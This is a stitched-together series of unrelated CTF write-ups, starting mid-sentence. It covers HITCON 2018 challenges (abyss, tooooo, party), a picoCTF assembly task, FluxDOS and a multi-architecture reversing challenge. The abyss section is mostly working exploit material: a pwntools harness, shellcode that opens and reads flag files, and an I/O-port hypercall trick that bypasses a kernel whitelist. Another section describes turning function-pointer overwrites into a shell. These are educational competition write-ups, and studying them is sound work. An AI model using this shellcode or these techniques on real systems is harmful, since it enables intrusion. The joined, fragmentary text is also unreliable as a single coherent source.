`4294967268\2107670+a\31337\31337\31337\.` The harness I used for my exploit was:```pythonimport sysfrom pwn import * LOCAL = False if LOCAL: t = process('./hypervisor.elf kernel.bin ld.so.2 ./user.elf'.split())else: t = remote('35.200.23.198', 31733) with open(sys.argv[1]) as f: exploit = f.read() t.sendline(exploit)t.recvuntil('hitcon')flag = 'hitcon' + t.recvuntil('}') log.info(flag)``` And my shellcode (`nasm part1.asm -o part1`):```nasm; part1.asm BITS 64 db '4294967268\2107670+a\31337\31337\31337\.'times 20 nop ; Open "flag"push 0x67616c66push 0x2pop raxmov rdi,rspxor rsi, rsisyscall ; Read contents onto stackmov r9,raxxor rax,raxmov rdi,r9mov rsi,rspxor rdx,rdxmov dl,0x40syscall ; Write contents to stdoutxor rax,raxinc alxor rdi,rdiinc rdimov rsi,rspxor rdx,rdxmov dl,0x40syscall jmp $``` # Part 2 - II - 292ptsNow we had shellcode execution in the `user.elf` we needed to get the contents of the `flag2` file. Interestingly just changing our shellcode above to try and open the `flag2` file failed. After reversing `kernel.bin` it became clear that there was a file whitelist being enforced by the kernel on the `open` syscall, which included `flag` but not `flag2`, therefore our attempts to open it were failing. The kernel communicates with the hypervisor via writing to I/O ports. The exact I/O port number written to determines which function to call in the hypervisor. These port values were defined as `0x8000 + syscall number`. So by writing to port `0x8002` in the VM with `out dx, eax`, where `eax` points to the array of arguments for the syscall, the hypervisor will perform this `open` operation for us and return the result (which we can read with `in eax, dx`). ![Hypervisor run loop](/2018/2018_10_20_HITCON/abyss/images/run_loop.png) My teammate then suggested that maybe we could just write to the I/O ports directly using the `in` and `out` instructions, and therefore completely bypass the kernel and communicate with the hypervisor directly. To my surprise we actually had the required privileges to write to these I/O ports and were able to trigger the handlers in the hypervisor. So now all we had to do was get the hypervisor to do the opening of `flag2` for us, and then we could read and write out the contents of the file as before. ![Hypervisor dispatch function](/2018/2018_10_20_HITCON/abyss/images/handle_hypercall.png) The issue here is that the hypervisor expects pointers into kernel memory for hypercall arguments, therefore blindly passing pointers from the `user.elf` address space didn't make sense to the hypervisor, and promptly crashed it. So now we needed to figure out a way to leak a kernel address and get the `flag2` string mapped into kernel memory at a location we knew/could calculate. Reversing some more we noticed that when the kernel handles the syscalls it would copy any string arguments into kernel memory before using them, which is what it does in the case of `open`. Interestingly the kernel memory which is allocated for the string in `open` isn't freed if the filename fails the whitelist check. Therefore all we needed to do to get `flag2` into kernel memory was to try and open it, the file name would then be copied into kernel memory, fail the whitelist check and stay there at a fixed location. As we didn't have a debugger set up on the VM it wasn't immediately obvious how to find the address of the string, especially without leaks. But then we realised we could break on the hypercalls in the hypervisor and just examine the pointer which was passed. Amazingly this was a constant of `0x204380`. So now we could ask the hypervisor to open a file directly and pass a valid pointer to the filename in kernel memory. The final shellcode to do this was: ```nasm ; part2.asm BITS 64 db '4294967268\2107670+a\31337\31337\31337\.'times 20 nop ; Create string flag2 and attempt to open itmov rax, 0x101010101010101push raxmov rax, 0x101013366606d67xor [rsp], raxxor rax, raxmov al, 2mov rdi, rspxor rsi, rsixor rdx, rdxsyscall ; "flag2" is now in kernel memory at 0x204380 ; Use IO port to open the file with hypervisorxor rdx, rdxxor rcx, rcxmov dx, 0x4444mov cx, 0xc444xor rdx, rcxmov rax, 0x101010101010101push raxmov rax, 0x101010101214281xor [rsp], raxpop raxout dx, eax ; Read the flag onto the stackxor rax, raxxor rdi, rdimov dil, 3mov rsi, rspxor rdx, rdxmov dl, 64syscall ; Write the file to stdoutxor rax, raxinc raxxor rdi, rdiinc rdimov rsi, rspxor rdx, rdxmov dl, 64syscall jmp $+0```(I forgot the shellcode didn't have to be null free, hence the extra xoring) ```bashuser@pwn:~/abyss$ sudo python harness.py part1[+] Opening connection to 35.200.23.198 on port 31733: Done[*] hitcon{Go_ahead,_traveler,_and_get_ready_for_deeper_fear.}[*] Closed connection to 35.200.23.198 port 31733 user@pwn:~/abyss$ sudo python harness.py part2[+] Opening connection to 35.200.23.198 on port 31733: Done[*] hitcon{take_out_all_memory,_take_away_your_soul}[*] Closed connection to 35.200.23.198 port 31733``` # ConclusionOverall I really enjoyed this challenge and, as always, learnt a lot in the process. I would have loved to get stuck into the third part a bit more but we were pretty low on time after the previous two, so hopefully there'll be some nice writeups. I also think it's about time I learnt how to debug a KVM virtual machine... Thanks to Retr0id who worked on this with me and thanks to the HITCON organisers for a great CTF!
this time the source is already nasm-friendly, we just have to compile and execute it: ```[andrei@jacky 15:30:26] ~/Documents/pico/4——> nasm -f elf32 comp.nasm -o comp.o[andrei@jacky 15:30:28] ~/Documents/pico/4——> gcc -m32 -o comp comp.o[andrei@jacky 15:30:37] ~/Documents/pico/4——> ./comppicoCTF{1_h0p3_y0u_c0mP1l3d_tH15_3205858729}```
We all know this is actually a pwnable challenge in `HITPWN CTF` ... So this is an aarch64 executable and we'are able to `leak libc` and `overwrite function pointer`. At first, I want to overwrite one of the two pointers to `one_gadget` cause we already have libc.address. But the registers and stack have been messed up by data from `/dev/urandom`, as a result, all `one_gadget` fails. Then I think if we can set `x0 -> /bin/sh` using the first pointer, we can get shell by making the second pointer to `system`! So how to set `x0 -> /bin/sh` using one function pointer? I choose `getusershell()`. ```GETUSERSHELL(3) Linux Programmer's Manual GETUSERSHELL(3)......DESCRIPTION The getusershell() function returns the next line from the file /etc/shells, opening the file if neces‐ sary. The line should contain the pathname of a valid user shell. If /etc/shells does not exist or is unreadable, getusershell() behaves as if /bin/sh and /bin/csh were listed in the file.```That's to say```bashHITCON2018_tooooo [master●] bat getusershell.c ───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────── │ File: getusershell.c───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────── 1 │ #include <unistd.h> 2 │ #include <stdio.h> 3 │ 4 │ int main() 5 │ { 6 │ puts(getusershell()); 7 │ }───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────HITCON2018_tooooo [master●] ./getusershell /bin/sh```So the task becomes simple:1. overwrite the first pointer to `getusershell` to set `x0 -> /bin/sh`2. overwrite the second pointer to `system` to get shell.3. enjoy your shell! Here is my [exploit](https://github.com/bash-c/pwn_repo/blob/master/HITCON2018_tooooo/solve.py). Follow [me](https://github.com/bash-c) if you like this writeup :)
# FluxDOS ![Challenge description](images/0.png) ```Do you remember the good ol' times, where registers could only store two bytes? My girlfriend built this emulator to worship them.Can you build a ROM? [FluxDOS](https://arcade.fluxfingers.net:1808/)``` A 1990s'style terminal-like website is given, which emulates few commands including help: ![typing help](images/1.png) ```shell$ helphelp - print this helpclear - clear screenls - list filescat - print file contentfluxdos - build rom and run in emulatorversion - print version``` With `fluxdos` command, I could upload a fluxdos ROM file and execute it in the server. Another interesting point is, it even has an assembler named **beast**. Let's `ls` and `cat rusty.sh`. ![cat rusty.sh](images/2.png) Yeah, flag.txt got redacted. Regardless of whether it's commented out, I could download both the emulator and the assembler. In fact, `cat <file>` == `/static/cat/<file>`. Let's just download the file from [these](https://arcade.fluxfingers.net:1808/static/cat/bin/beast) [URLs](https://arcade.fluxfingers.net:1808/static/cat/bin/fluxdos). You can find these binaries in this github folder too. ## Beast Assembler As mentioned above (see screenshot), there's sample source code at `./binary/src/main.bst`. ```(func $main (call $hello_world));; write "Hello world" to stdout(func $hello_world ;; TODO: implement hello world)``` Now we know that `call` mnemonic exists! Hooray! ... making me analyze the assembler binary. It has symbols, and compiled by rust. (You can usually find `rust` string if it's powered by rust) ![some functions](images/3.png) At this point I googled `rust Compiler "beast"`. Somehow it worked, leading me to [bakerVM/beast](https://github.com/bakervm/beast) repository. Yeah, it had source code. There were [sample codes](https://github.com/bakervm/beast/tree/master/test/src) using all of beast instructions, including `load/store`, `push/pop`, and suspicious `(sys :nuke)` mnemonic. It was indeed a syscall function. And `:nuke` is mapped to a number on `Beast.toml`. ## FluxDOS (*Spoiler: no symbols for fluxdos.rs; it's even stripped*) Considering the flow `src/main.bst -> target/binary.rom -> fluxdos`, it's really an emulator for the beast-compiled ROM. Before that, let's talk about how beast ROM is composed. ```00000000: 1f8b 0800 0000 0000 00ff 0122 00dd ff95 ..........."....00000010: a630 2e31 332e 30ab 5f5f 464c 5558 444f .0.13.0.__FLUXDO00000020: 535f 5f93 921e 9102 921d 9100 921f 90c0 S__.............00000030: 0061 dc79 ad22 0000 00 .a.y."...``` I tried to modify a bytes, and `fluxdos <file>` emitted an error. ```thread 'main' panicked at 'Loading ROM failed: Custom { kind: InvalidInput, error: StringError("corrupt gzip stream does not have a matching checksum") }', libcore/result.rs:945:5note: Run with `RUST_BACKTRACE=1` for a backtrace.``` Cool! Now we know that whole file is compressed with gzip starts with `1f 8b 08 00`. Let's decompress it. ```00000000: 95a6 302e 3133 2e30 ab5f 5f46 4c55 5844 ..0.13.0.__FLUXD00000010: 4f53 5f5f 9392 1e91 0292 1d91 0092 1f90 OS__............00000020: c000 ..``` Before we get further, let's see beast's binary-encoder source code. [Compiler::compile](https://github.com/bakervm/beast/blob/master/src/compiler.rs#L26) emits [melon::Program](https://github.com/bakervm/melon/blob/master/src/program.rs#L52) class, and it finally emits gzipped msgpack buffer. Okay, I googled `msgpack decoder` and it was auto-filled with `online`. Online decoder, the coolest! ![online msgpack decoder](images/4.png) Now we know what to do. ![decoded](images/5.png) After compiling `(sys :nuke)` with nuke = 1337, I could see `[29, [1337] ]`. So we can guess the opcode handler for 29 (0x1D) processes syscall. Then I analyzed fluxdos too. This time, since `__FLUXDOS__` string is given, I guessed that maybe it's checked before execution. Yes. What a guess-driven reverse engineering, but it kinda works. <sub>(In fact I first brute forced syscall by modifying the binary directly, but I stopped it after 17000. It was too slow)</sub> ```c// 0x555555554000// .rodata:000055555566875F aFluxdos db '__FLUXDOS__' ; DATA XREF: ROMParse+1D2↑o// ... (After making struct after decompilation) /*00000000 rom struc ; (sizeof=0x4C, mappedto_43)00000000 version string ?00000018 signature string ?00000030 vector string ?00000048 field_48 db ?00000049 field_49 db ?0000004A field_4A db ?0000004B field_4B db ?0000004C rom ends Considering the msgpack structure above, it makes sense: array with version, signature, and instruction vectors, ...*/ if ( v4->signature.n != 11 || (v21 = (char *)v4->signature.buf, v21 != aFluxdos) && (v8 = aFluxdos, memcmp(v21, aFluxdos, 0xBuLL)) ) { string::from_ptr((string *)&instrs, aFluxdos, 0xBuLL); ... if ( v4->version.n != 6 || (char *)v4->version.buf != "0.13.0miniz.c" && *(_DWORD *)v4->version.buf ^ '31.0' | *(unsigned __int16 *)(v4->version.buf + 4) ^ '0.' ) // Knowing ->vector has instructions, I xref-ed v4->vector in the same function.// Then I set hardware breakpoint to v4->vector.buf which contained mnemonic, args. buffer = v4->vector.buf;...// Breakpoint 1 triggered on Instruction::decoder. Array into int32_t.. for ( i = Instruction::decoder(instrs.m256i_i64); (_BYTE)i != 41; i = Instruction::decoder(instrs.m256i_i64) ) v33[v35++] = i;// After some HW breakpoints... I could find multiple switch-cases for all mnemonics// Including 0x1D: sys too. case 0x1D: // syscall if ( WORD1(instruction) ) // which is sysno too { v26 = (__int64 (__fastcall **)())syscall_handler(v338, (__int64)decoded_instructions, sysno); if ( v26 ) {// syscall_handler: 0000555555561A30__int64 __fastcall syscall_handler(__int64 a1, __int64 stack, int sysno){ switch ( (signed __int16)sysno + 210LL ) // signed __int16 with 210? It means sysno - 0xFF2E { case 0LL: ... ``` Yeah, we found that sysno starts with 0xFF2E. Before this, I traced open64 with only 1 xrefs to find where the ROM file is opened, and found this: ```c// .text:00005555555F2A80__int64 __fastcall file::open(string *a1, string *buf, __int64 size, fileOptions *a4)``` And... Xrefs-to existed on syscall_handler. I tried the syscall `(0xFF2E + 180)` with no arguments. Fortunately, it panicked. ```$ cat src/main.bst(func $main (sys :open) ;; open = 65506) $ fluxdos target/binary.romthread 'main' panicked at 'cannot pop a value off an empty stack', src/main.rs:254:29note: Run with `RUST_BACKTRACE=1` for a backtrace.``` Great, now we can try pushing integers until it normally executes. The syscall 180 had 2 arguments: path and mode. mode == 0xFFFF then it opens writable file stream, 0xFFFE then readable file stream. `fd = open(path, mode)` required. fd is pushed after file open. After reversing I found another syscall: 168 for `read(fd, buf, len)`. However, I couldn't find write system call. Oh... I found that. 162. Sorry, but I didn't find it during CTF. Then we can get the flag.txt. p.s. I looped through buffers with `read(flag[i / 8] >> (i % 8) & 1)`, like a blind SQLi. The result code is printed to the console, so I could use it. However, we have write system call.
# party Points: 500 | Solves: 1 | Category: Reverse ## Understand the program It can be seen that there is a structure named `Person` created in the function `0x4014b0 test()` with size `0x28`, it seems to has 5 pointer members. so we can use IDA to define a structure: ```00000000 Person struc ; (sizeof=0x28, mappedto_16)00000000 u dq ? ; offset00000008 d dq ? ; offset00000010 l dq ? ; offset00000018 r dq ? ; offset00000020 ptr dq ? ; offset00000028 Person ends``` change some variables' type, and there seems to have some [doubly linked list](https://en.wikipedia.org/wiki/Doubly_linked_list) operations. A part of the function `0x4019a0 party()` is: ```cv4 = v2->d;do{ if ( v3->ptr < v4->ptr ) v4 = v3; v3 = v3->d;}while ( v3 != v2 );v4->u->d = v4->d;v4->d->u = v4->u;for ( i = v4->r; i != v4; i = i->r ){ for ( j = i->d; j != i; j = j->d ) { j->l->r = j->r; j->r->l = j->l; --j->ptr->ptr; }}v7 = v4->r;``` The first glance at the code reminds me of the [dancing links](https://en.wikipedia.org/wiki/Dancing_Links), which most people may feel unfamiliar, but I have used it once to solve the Sudoku puzzles. The dancing links implement the [Algorithm X](https://en.wikipedia.org/wiki/Knuth%27s_Algorithm_X) to determine if there is a solution to the [exact cover](https://en.wikipedia.org/wiki/Exact_cover) problem, and that's what the function `0x4019a0 party()` does. Now, we can recognize the function `0x4014b0 test()` as creator of dancing links given matrix and column set. The full matrix is stored at `[0x40132b-0x40141d]`, which has 538 rows. Each row contains 3 integers in range `[0, 37)`, which represents the column number. And the function `0x401310 test()` selects a certain rows of the full matrix such that all the 3 columns are included in the given column set. Now let's look at the function `0x4011c0 ditto()`. Its functionality is to add one element the input set if the element is not present in the set, and call `0x401310 test()` to determine if the exact cover problem with these column have solutions. If all elements pass the the test, the function returns true. In summary, this program read a set from input (elements in range `[0, 37)`), and the set must satisfies following 3 conditions: 1. The order of the elements must satisfy that the return value of function `0x4010f0 hash()` is `0xf6bb10ed6`.2. This set **can** pass `0x4011c0 ditto()`.3. If a element is removed from the set, and a smaller one is added, it **can not** pass `0x4011c0 ditto()`. ## Determine the size and order of the set First let's look at function `0x4010f0 hash()`. ```csigned __int64 __fastcall hash(__int64 a1){ unsigned int v1; // eax signed __int64 v2; // rcx MAPDST __int64 v3; // r13 __int64 v4; // r14 signed __int64 v5; // rdx int v6; // ebp signed __int64 v7; // rbx int v8; // er12 signed __int64 result; // rax signed __int64 v10; // [rsp+8h] [rbp-50h] signed __int64 v12; // [rsp+18h] [rbp-40h] signed __int64 v13; // [rsp+20h] [rbp-38h] v1 = std::vector<int,std::allocator<int>>::size(a1); if ( v1 <= 0 ) return 0LL; v2 = v1; v3 = v1; v10 = 1LL; v4 = 0LL; v5 = 0LL; v2 = v1; do { v13 = v5; v12 = v4 + 1; v6 = 0; if ( v4 + 1 < v2 ) { v6 = 0; v7 = v10; do { v8 = *std::vector<int,std::allocator<int>>::operator[](a1, v4); v6 += v8 > *std::vector<int,std::allocator<int>>::operator[](a1, v7++); } while ( v3 != v7 ); } result = (v2 - v4) * v13 + v6; ++v10; ++v4; v5 = result; } while ( v12 != v3 ); return result;}``` For the first step, the function does the same thing as: ```c++v1 = a1.size();result = 0;for (i = 0; i < v1; i++){ v6 = 0; for (j = i + 1; j < v1; j++) v6 += a1[i] > a2[j]; result = (v1 - i) * result + v6;}return result;``` By dividing the value `0xf6bb10ed6` by 1, 2, 3, ..., etc., the array before compression can be restored, which is `[10, 8, 3, 2, 5, 5, 6, 0, 1, 2, 2, 1, 0, 0]` with length 14. The elements in this array means, for example the first element 10 indicate that there are totally 10 elements less than the first element starting from the second. From this we are able to obtain the order of the set `[10, 8, 3, 2, 7, 9, 12, 0, 4, 6, 11, 5, 1, 13]`, within several easy steps. Let's now come back to the exact cover problem. As all rows of the matrix have 3 elements, the size of the column set must be multiple of 3 in order to make the exact cover problem have some solution. The remainder of the size divided by 3 must be 2 preceding function `0x4011c0 ditto()`, which add the element to input set. In addition, the size must less than 17 at `0x4010ab`. Thus we are now sure that the size of the input set is 14. ## Find one solution by bruteforce Next step is to find one set that satisfies the condition 2, though it may not satisfies the condition 3. First consider how to find a valid set with size 15 that can pass `0x401310 test()`. There are totally $\binom{37}{15} \approx 9 \times 10^9$ possible sets, it's not too many. But checking if a set is valid needs to run DLX algorithm, which is time consuming. Notice that the size of valid set is 15, and all rows of the matrix have 3 elements, therefore the solution must consist of 5 rows. One combination with no conflicting columns corresponding to one valid set, and there are at most $\binom{538}{5} \approx 3 \times 10^{11}$ combinations. Not many, too (actually only $2\times10^{10}$). So we can get all valid sets by enumerate the combination of 538 rows, without running DLX algorithm. But our goal is not just to find a *valid set*. Instead, we need to find a *set core*, that can always produce a valid set by appending any other elements in range `[0, 37)`. Suppose there is a list for each core, when one element is removed from a valid set and a core is obtained, the victim is added to the corresponding list of the core. When the size of that list is $37 - 14 = 23$, this core is capable of generating 23 valid sets. So now we have reached a solution. The bruteforce algorithm is done! As for implementation details, bit operations are applied instead of set operations. A 37 bits integer can represent either a set or the list of cores. Moreover, we can use hash table to store the lists, and ignore hash collisions (this means that the core still need to be checked). For the sake of efficiency, the algorithm is implemented in C++. The main code is listed here: ```c++typedef unsigned long long ll;const unsigned int P = 400000007u;unordered_map<ll, bool> occurred;ll h[P]; void work_on_a_valid_set(ll vset){ for (ll tmp = vset; tmp;) { ll lowbit = tmp & -tmp; ll core = vset - lowbit; tmp -= lowbit; if (((h[core % P] |= lowbit) | core) == (1ll << 37) - 1) { if (occurred[core]) continue; occurred[core] = true; print_bin(core); } }} void product_all_valid_set(){ // ...}``` In order to validate the core set that may not satisfy condition 3, we can reuse the given program with some instructions patched by `nop`. There are plenty of feasible solutions, the algorithm don't have to run too long to before reaching a solution. One of the solutions is `645q9f3ozytrac`. ## Find the final set by iteration Now we have obtained a set satisfying condition 2, and further adjustment is required in order to make it satisfy condition 3. Consider that when a set does not satisfy condition 3, removal of any single element followed by the addition of a smaller one will still result in satisfiction of condition 2. Notice that this transform is one-way. Thus as we transform a set multiple times, it will finally reach a limit rather than come back, and then we get the set we need. The above can be achieved by following code: ```pythonfrom pwn import * STR = 'oidn1be8!kasgm2q5jwplz7rhvy094xfu6t3c'ORDER = [10, 8, 3, 2, 7, 9, 12, 0, 4, 6, 11, 5, 1, 13] context.log_level = 'error' def check_2(flag): p = process(['./party_patched', flag]) data = p.recvall() p.close() return 'hitcon' in data def check_3(flag): p = process(['./party-0efe21e5fab4f979555c100a2f4242bd', flag]) data = p.recvall() p.close() if 'hitcon' in data: print(data) def str2set(str): return [STR.find(c) for c in str] def set2str(set): tmp = '' for j in range(37): if j in set: tmp += STR[j] res = '' for j in range(len(tmp)): res += tmp[ORDER[j]] return res def transform(flag): a = str2set(flag) for i in range(37): if i in a: b = filter(lambda j: j != i, a) for j in range(i): if j not in a: flag = set2str(b + [j]) if check_2(flag): return flag return None if __name__ == '__main__': flag = '645q9f3ozytrac' while True: f = transform(flag) print(flag, f) if f: flag = f else: check_3(flag) break # hitcon{9renp0to!m4gic}``` After a dozen iterations, we can get the flag `hitcon{9renp0to!m4gic}`.
# Baldi's RE Basics (re, 421p, 3 solved) Sadly we run out of time on this challenge, because the client we wrote was quite unstable, so we missed the flag.But the solver actually works, so we thought we can write about this task anyway. ## Overview In the challenge we have to solve set of problems.Initially there are some simple trivia questions, always the same, so we can simply hardcode the answers.Once we're done with this part we get this view: ---------------------------------------- | | | | | | | ??? | | ??? | | ??? | | | | | | | |-- --- --- --- --- --| | | | | |-------- | | | | | ??? ? | | | | |-------- | | | | | |-- --- --- --- --- --| | | | | | | | ??? | | ??? | | ??? | | | | | | | ---------------------------------------- w/a/s/d: Once we start walking to one of the rooms a room challenge launches.Each room has 3 problems to solve: - assemble given assembly code to machine code- disassemble given machine code to assembly- evaluate given machine code and provide the result Rooms are randomized, in each run rooms shift, but first 6 of the rooms are always one of: - i386- x86_64- MIPS- ARM- PowerPC32- aarch64 ## Clearing first 6 rooms Clearing a room looks like this: _ ______ ____ ____ / \ |_ __ \ |_ \ / _| / _ \ | |__) | | \/ | / ___ \ | __ / | |\ /| | _/ / \ \_ _| | \ \_ _| |_\/_| |_ |____| |____||____| |___||_____||_____| ```Press the Enter key to start the challenge...Give me the binary code of the following assembly ( in base64 encoded format ): sub sp, sp, #0x18mov r0, #0str r0, [sp, #0x14]mov r0, #6orr r0, r0, #0x9c00str r0, [sp, #0x10]mov r0, #0x93orr r0, r0, #0x9200str r0, [sp, #0xc]mov r0, #0x77orr r0, r0, #0x1900str r0, [sp, #8]mov r0, #0xd2orr r0, r0, #0x400str r0, [sp, #4]mov r0, #0x28corr r0, r0, #0x9800str r0, [sp]ldr r0, [sp, #0x10]mov r1, #0x7dorr r1, r1, #0x4200eor r0, r0, r1ldr r1, [sp, #0xc]and r0, r0, r1ldr r1, [sp, #8]orr r0, r0, r1ldr r1, [sp, #4]add r0, r0, r1ldr r1, [sp]add r0, r0, r1add sp, sp, #0x18bx lrAnswer: GNBN4gAAoOMUAI3lBgCg4ycLgOMQAI3lkwCg45IMgOMMAI3ldwCg4xkMgOMIAI3l0gCg4wELgOMEAI3low+g4yYLgOMAAI3lEACd5X0QoONCHIHjAQAg4AwQneUBAADgCBCd5QEAgOEEEJ3lAQCA4AAQneUBAIDgGNCN4h7/L+E= Give me the assembly of this binary code ( in base64 encoded format ): INBN4gAAoOMcAI3lEwCg488MgOMYAI3lFwCg454MgOMUAI3lSQCg4x0LgOMQAI3l2wCg4zkLgOMMAI3laQCg4x0LgOMIAI3l+QCg40cMgOMEAI3l9Q+g4zELgOMAAI3lGACd5RQQneUBAADgqhCg44ccgeMBAADgEBCd5QEAgOAMEJ3lAQCA4QgQneUBAADgBBCd5QEAIOAAEJ3lAQCA4CDQjeIe/y/h Answer: c3ViIHNwLCBzcCwgIzB4MjAKbW92IHIwLCAjMApzdHIgcjAsIFtzcCwgIzB4MWNdCm1vdiByMCwgIzB4MTMKb3JyIHIwLCByMCwgIzB4Y2YwMApzdHIgcjAsIFtzcCwgIzB4MThdCm1vdiByMCwgIzB4MTcKb3JyIHIwLCByMCwgIzB4OWUwMApzdHIgcjAsIFtzcCwgIzB4MTRdCm1vdiByMCwgIzB4NDkKb3JyIHIwLCByMCwgIzB4NzQwMApzdHIgcjAsIFtzcCwgIzB4MTBdCm1vdiByMCwgIzB4ZGIKb3JyIHIwLCByMCwgIzB4ZTQwMApzdHIgcjAsIFtzcCwgIzB4Y10KbW92IHIwLCAjMHg2OQpvcnIgcjAsIHIwLCAjMHg3NDAwCnN0ciByMCwgW3NwLCAjOF0KbW92IHIwLCAjMHhmOQpvcnIgcjAsIHIwLCAjMHg0NzAwCnN0ciByMCwgW3NwLCAjNF0KbW92IHIwLCAjMHgzZDQKb3JyIHIwLCByMCwgIzB4YzQwMApzdHIgcjAsIFtzcF0KbGRyIHIwLCBbc3AsICMweDE4XQpsZHIgcjEsIFtzcCwgIzB4MTRdCmFuZCByMCwgcjAsIHIxCm1vdiByMSwgIzB4YWEKb3JyIHIxLCByMSwgIzB4ODcwMAphbmQgcjAsIHIwLCByMQpsZHIgcjEsIFtzcCwgIzB4MTBdCmFkZCByMCwgcjAsIHIxCmxkciByMSwgW3NwLCAjMHhjXQpvcnIgcjAsIHIwLCByMQpsZHIgcjEsIFtzcCwgIzhdCmFuZCByMCwgcjAsIHIxCmxkciByMSwgW3NwLCAjNF0KZW9yIHIwLCByMCwgcjEKbGRyIHIxLCBbc3BdCmFkZCByMCwgcjAsIHIxCmFkZCBzcCwgc3AsICMweDIwCmJ4IGxy 'What is \x18\xd0M\xe2\x00\x00\xa0\xe3\x14\x00\x8d\xe5\xab\x0f\xa0\xe3\x10\x00\x8d\xe5\x99\x0f\xa0\xe3\x0e\x0b\x80\xe3\x0c\x00\x8d\xe5\xbb\x00\xa0\xe3\xde\x0c\x80\xe3\x08\x00\x8d\xe5\x92\x00\xa0\xe3g\x0c\x80\xe3\x04\x00\x8d\xe5\x9b\x00\xa0\xe3Z\x0c\x80\xe3\x00\x00\x8d\xe5\x10\x00\x9d\xe5+\x10\xa0\xe3\x92\x1c\x81\xe3\x01\x00 \xe0\x0c\x10\x9d\xe5\x01\x00\x00\xe0\x08\x10\x9d\xe5\x01\x00\x00\xe0\x04\x10\x9d\xe5\x01\x00@\xe0\x00\x10\x9d\xe5\x01\x00 \xe0\x18\xd0\x8d\xe2\x1e\xff/\xe1 ?' Answer: 0xfffff2f5L``` Those 6 rooms we managed to solve automatically using Keystone, Capstone and Unicorn.Unicorn couldn't emulate PPC for us, so we wrote a very basic [interpreter](risclib.py).This interpreter is very poor and lacks some opcodes, so it sometimes fail... ## 7th room Once we reach 7th room it turns out there is yet another architecture to tackle: _____ _____ _____ _____ __ __ | __ \|_ _|/ ____|/ ____| \ \ / / | |__) | | | | (___ | | _____\ \ / / | _ / | | \___ \| | |______\ \/ / | | \ \ _| |_ ____) | |____ \ / |_| \_\_____|_____/ \_____| \/ The problem is that neither of the tools we've been using support it, so we had to do it the hard way.We found a very simple asembler/disasembler for RISC-V in Python on github: https://github.com/wueric/riscv_assembler/tree/master/assemblerWe modified this to suit the challenges (some opcodes were missing, some were translated differently).Finally we ended up with [assembler](riscv_asm.py) and [disasembler](riscv_dis.py) which work on the challenges.Last part was the code evaluator, and for this we used the same approach as for PPC - we wrote it by hand getting another [interpreter](risclib.py). There is the same issue as for PPC - it doesn't work very well, but it can solve some of the challenges. Once we pass the 7th room, we're faced with another view: ---------------------------------------- | | | | | | | EXIT6 | | EXIT2 | | EXIT1 | | | | | | | |-- --- --- --- --- --| | | | | |-------- | | | | | EXIT3 ? | | | | |-------- | | | | | |-- --- --- --- --- --| | | | | | | | EXIT0 | | EXIT5 | | EXIT4 | | | | | | | ---------------------------------------- Now we can walk around the rooms again, collecting parts of the flag from each exit:``` __ __ __ .___________.| | | | | | | || |__| | | | `---| |----`| __ | | | | | | | | | | | | | |__| |__| |__| |__| ______ ______ .__ __. ___ / | / __ \ | \ | | / /| ,----'| | | | | \| | | | | | | | | | | . ` | / / | `----.| `--' | | |\ | \ \ \______| \______/ |__| \__| | | \__ __ __ .______ | | | | | _ \ | | | | | |_) | | | | | | / | `--' | | |\ \----. \______/ _____| _| `._____| ______ |______| |______| _______ _ _ .___ ___. | \ | || | | \/ | | .--. || || |_ | \ / | | | | ||__ _| | |\/| | | '--' | | | | | | | |_______/ |_| _____|__| |__| |______| ___ _____ .___________.____ / \ | ____| | |___ \ / ^ \ | |__ `---| |----` __) | / /_\ \ |___ \ | | |__ < / _____ \ ___) | | | ___) | /__/ \__\ |____/ |__| |____/ .______ ___ _______ | _ \ / _ \ | ____|| |_) | | | | | | |__ | / | | | | | __| | |\ \----. | |_| | | | | _| `._____| _____\___/ |__| |______| .______ ____ | _ \ |___ \ | |_) | __) | | / |__ < | |\ \----.___) | _____| _| `._____|____/ |______| ``` But once we collect them, a secret door gets opened: ---------------------------------------- | | | | | | | EXIT6 | | EXIT2 | | EXIT1 | | | | | | | |-------- --------- --------| | ? | | | |-------- ---- | | | EXIT3 | | | |-------- ---- | | | | |-------- --------- --------| | | | | | | | EXIT0 | | EXIT5 | | EXIT4 | | | | | | | ---------------------------------------- Once you walk there, you're faced with the final architecture: ``` ▄█ █▄ ▄████████ ▄████████ ▄▄▄▄███▄▄▄▄ ███ ███ ███ ███ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ █▀ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▀███████████ ▀███████████ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄█▄ ███ ███ ███ ▄█ ███ ███ ███ ███ ▀███▀███▀ ███ █▀ ▄████████▀ ▀█ ███ █▀ ``` For WASM we decided to use existing tools: https://github.com/WebAssembly/wabtThere is asembler, disasembler and interpter.We decided to simply call those tools from python script and collect the outputs.The only trick was that we get only code without the function header, so we have to place the code in proper structure in order to assemble/disassemble or evaluate.For this we created a small [wrapper](wasmlib.py). Once we pass the WASM stage we get the last chunk of the flag: ``` ___ .__ __. _______ / \ | \ | | | \ / ^ \ | \| | | .--. | / /_\ \ | . ` | | | | | / _____ \ | |\ | | '--' | _____/__/ \__\ |__| \__| |_______/ |______| .______ .______ ______ | _ \ | _ \ / | | |_) | | |_) | | ,----' | ___/ | ___/ | | | | | | | `----. _____| _| | _| \______| |______| __ _ _ ____ ___ | | _| || |_ |___ \ \ \ | | |_ __ _| __) | | | | | _| || |_ |__ < \ \ |__| |_ __ _| ___) | / / _____(__) |_||_| |____/ | | |______| /__/ ``` The task was interesting, but the fact that last 2 architectures were "secret" until you reached them was very annoying.It was kind of a honey-pot challenge.It seemed doable initially, with Keystone, Capstone and Unicorn, but the further you go, the harder it got.Entire solver script is [here](solver.py) but it's quite unstable so you might need to run it multiple times before you manage to win.There is high probability of solver failing for PPC and RISC-V code evaluation.
